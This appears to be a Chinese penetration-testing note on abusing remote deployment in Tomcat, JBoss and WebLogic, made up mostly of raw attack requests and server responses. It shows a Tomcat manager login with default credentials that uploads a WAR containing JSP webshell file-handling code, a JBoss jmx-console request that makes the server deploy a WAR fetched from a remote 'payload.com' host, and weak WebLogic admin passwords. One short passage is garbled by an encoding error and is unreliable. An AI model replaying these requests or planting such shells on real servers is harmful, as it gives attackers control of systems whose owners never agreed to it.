简介
远程部署漏洞属于服务器、中间件配置问题,攻击者可通过远程部署漏洞获取系统权限,远程部署漏洞经常出现在Tomcat、Jboss、Weblogic等web容器之上。
0x01 ### tomcat部署war包
http://192.168.52.128:8080/manager/html
tomcat/tomcat
POST /manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1 HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:8080/manager/html
Cookie: JSESSIONID=A0F8351E37AA865DDFC5EC921BFB4F9A
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32062524929426
Content-Length: 31723
-----------------------------32062524929426
Content-Disposition: form-data; name="deployWar"; filename="test3693.war"
Content-Type: application/octet-stream
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>
index.jsp
</welcome-file>
</welcome-file-list>
</web-app>
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser
String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}
/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&";
else if (i == '<') return "<";
else if (i == '>') return ">";
else if (i == '"') return """;
else return "" + (char) i;
}
/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
-----------------------------32062524929426--
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=19B04531B519E953AAD3E2200F9F3D84; Path=/manager; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Mon, 22 Feb 2021 05:02:48 GMT
Connection: close
Content-Length: 19860
<html>
<head>
<style>
H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}
table {
width: 100%;
}
td.page-title {
text-align: center;
vertical-align: top;
font-family:sans-serif,Tahoma,Arial;
font-weight: bold;
background: white;
color: black;
}
td.title {
text-align: left;
vertical-align: top;
font-family:sans-serif,Tahoma,Arial;
font-style:italic;
font-weight: bold;
background: #D2A41C;
}
td.header-left {
text-align: left;
vertical-align: top;
font-family:sans-serif,Tahoma,Arial;
font-weight: bold;
background: #FFDC75;
}
td.header-center {
text-align: center;
vertical-align: top;
font-family:sans-serif,Tahoma,Arial;
font-weight: bold;
background: #FFDC75;
}
td.row-left {
text-align: left;
vertical-align: middle;
font-family:sans-serif,Tahoma,Arial;
color: black;
}
td.row-center {
text-align: center;
vertical-align: middle;
font-family:sans-serif,Tahoma,Arial;
color: black;
}
td.row-right {
text-align: right;
vertical-align: middle;
font-family:sans-serif,Tahoma,Arial;
color: black;
}
TH {
text-align: center;
vertical-align: top;
font-family:sans-serif,Tahoma,Arial;
font-weight: bold;
background: #FFDC75;
}
TD {
text-align: center;
vertical-align: middle;
font-family:sans-serif,Tahoma,Arial;
color: black;
}
form {
margin: 1;
}
form.inline {
display: inline;
}
</style>
<title>/manager</title>
</head>
<body bgcolor="#FFFFFF">
<table cellspacing="4" border="0">
<tr>
<td colspan="2">
<a href="http://tomcat.apache.org/">
<img border="0" alt="The Tomcat Servlet/JSP Container"
align="left" src="/manager/images/tomcat.gif">
</a>
<a href="http://www.apache.org/">
<img border="0" alt="The Apache Software Foundation" align="right"
src="/manager/images/asf-logo.svg" style="width: 266px; height: 83px;">
</a>
</td>
</tr>
</table>
<hr size="1" noshade="noshade">
<table cellspacing="4" border="0">
<tr>
<td class="page-title" bordercolor="#000000" align="left" nowrap>
<font size="+2">Tomcat Web Application Manager</font>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td class="row-left" width="10%"><small><strong>Message:</strong></small> </td>
<td class="row-left"><pre>FAIL - War file "test3693.war" already exists on server</pre></td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="4" class="title">Manager</td>
</tr>
<tr>
<td class="row-left"><a href="/manager/html/list?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">List Applications</a></td>
<td class="row-center"><a href="/manager/../docs/html-manager-howto.html?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">HTML Manager Help</a></td>
<td class="row-center"><a href="/manager/../docs/manager-howto.html?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">Manager Help</a></td>
<td class="row-right"><a href="/manager/status?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">Server Status</a></td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="6" class="title">Applications</td>
</tr>
<tr>
<td class="header-left"><small>Path</small></td>
<td class="header-left"><small>Version</small></td>
<td class="header-center"><small>Display Name</small></td>
<td class="header-center"><small>Running</small></td>
<td class="header-left"><small>Sessions</small></td>
<td class="header-left"><small>Commands</small></td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/">/</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Welcome to Tomcat</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="/manager/html/expire?path=/&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/docs/">/docs</a></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Documentation</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/docs&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#C3F3C3">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/docs&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/docs&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/docs&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#C3F3C3">
<form method="POST" action="/manager/html/expire?path=/docs&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/examples/">/examples</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Servlet and JSP Examples</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/examples&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/examples&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/examples&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/examples&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="/manager/html/expire?path=/examples&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/host%2Dmanager/">/host-manager</a></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Host Manager Application</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/host%2Dmanager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#C3F3C3">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/host%2Dmanager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/host%2Dmanager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/host%2Dmanager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#C3F3C3">
<form method="POST" action="/manager/html/expire?path=/host%2Dmanager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/">/manager</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Tomcat Manager Application</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/manager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">1</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
<small>
Start
Stop
Reload
Undeploy
</small>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="/manager/html/expire?path=/manager&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/test3693/">/test3693</a></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small> </small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/test3693&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#C3F3C3">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/test3693&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/test3693&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/test3693&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#C3F3C3">
<form method="POST" action="/manager/html/expire?path=/test3693&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/war/">/war</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small> </small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/war&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
<small>Start</small>
<form class="inline" method="POST" action="/manager/html/stop?path=/war&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Stop"></small> </form>
<form class="inline" method="POST" action="/manager/html/reload?path=/war&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Reload"></small> </form>
<form class="inline" method="POST" action="/manager/html/undeploy?path=/war&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47"> <small><input type="submit" value="Undeploy"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="/manager/html/expire?path=/war&org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<small>
<input type="submit" value="Expire sessions"> with idle ≥ <input type="text" name="idle" size="5" value="30"> minutes
</small>
</form>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="2" class="title">Deploy</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>Deploy directory or WAR file located on server</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/deploy?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-right">
<small>Context Path (required):</small>
</td>
<td class="row-left">
<input type="text" name="deployPath" size="20">
</td>
</tr>
<tr>
<td class="row-right">
<small>XML Configuration file URL:</small>
</td>
<td class="row-left">
<input type="text" name="deployConfig" size="20">
</td>
</tr>
<tr>
<td class="row-right">
<small>WAR or Directory URL:</small>
</td>
<td class="row-left">
<input type="text" name="deployWar" size="40">
</td>
</tr>
<tr>
<td class="row-right">
</td>
<td class="row-left">
<input type="submit" value="Deploy">
</td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>WAR file to deploy</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47" enctype="multipart/form-data">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-right">
<small>Select WAR file to upload</small>
</td>
<td class="row-left">
<input type="file" name="deployWar" size="40">
</td>
</tr>
<tr>
<td class="row-right">
</td>
<td class="row-left">
<input type="submit" value="Deploy">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="2" class="title">Diagnostics</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>Check to see if a web application has caused a memory leak on stop, reload or undeploy</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/findleaks?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-left">
<input type="submit" value="Find leaks">
</td>
<td class="row-left">
<small>This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.</small>
</td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>SSL connector configuration diagnostics</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/sslConnectorCiphers?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-left">
<input type="submit" value="Connector ciphers">
</td>
<td class="row-left">
<small>List the configured ciphers for each connector</small>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br><table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="8" class="title">Server Information</td>
</tr>
<tr>
<td class="header-center"><small>Tomcat Version</small></td>
<td class="header-center"><small>JVM Version</small></td>
<td class="header-center"><small>JVM Vendor</small></td>
<td class="header-center"><small>OS Name</small></td>
<td class="header-center"><small>OS Version</small></td>
<td class="header-center"><small>OS Architecture</small></td>
<td class="header-center"><small>Hostname</small></td>
<td class="header-center"><small>IP Address</small></td>
</tr>
<tr>
<td class="row-center"><small>Apache Tomcat/8.0.43</small></td>
<td class="row-center"><small>1.7.0_121-b00</small></td>
<td class="row-center"><small>Oracle Corporation</small></td>
<td class="row-center"><small>Linux</small></td>
<td class="row-center"><small>5.10.0-kali2-amd64</small></td>
<td class="row-center"><small>amd64</small></td>
<td class="row-center"><small>8d7bd00fa4e8</small></td>
<td class="row-center"><small>172.21.0.2</small></td>
</tr>
</table>
<br>
<hr size="1" noshade="noshade">
<center><font size="-1" color="#525D76">
<em>Copyright © 1999-2017, Apache Software Foundation</em></font></center>
</body>
</html>
çÂĹĄÄşÂĹĽÄşÂÂÄşÂÂÄşÂÂĺżĹçÂÂÄÂÂäżĹ夝
ćĺé¨ç˝˛ĺĺşĺŚä¸ďź
FAIL - War file "test3693.war" already exists on server
http://192.168.52.128:8080/test3693/
0x02### Jboss远程部署war包
http://192.168.52.128
http://192.168.52.128/jmx-console/
POST /jmx-console/HtmlAdaptor HTTP/1.1
Host: 192.168.52.120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://192.168.52.128
Connection: close
Referer: http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
Cookie: PHPSESSID=ft4551u5ag2pu53sf5n4mgfqr0; immortal_png=undefined; immortal_etag=undefined; immortal_cache=undefined; md=nilihQQQmUvSPuXD1pm61Hk6EMV3222QLOzt4QJQaE8qzwt0lfxNnhjruFVW7odj; JSESSIONID=678AC48E10C635F07B63DEBEAE69ECD6
Upgrade-Insecure-Requests: 1
action=invokeOp&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodIndex=7&arg0=http%3A%2F%2Fpayload.com%2Ftest.war
0x03 ### weblogic部署war包
http://192.168.52.128:7001/console/login/LoginForm.jsp
weblogic:Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
GET /console/login/LoginForm.jsp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/login/LoginForm.jsp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951
Connection: close
Cache-Control: max-age=0
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Mon, 22 Feb 2021 05:56:57 GMT
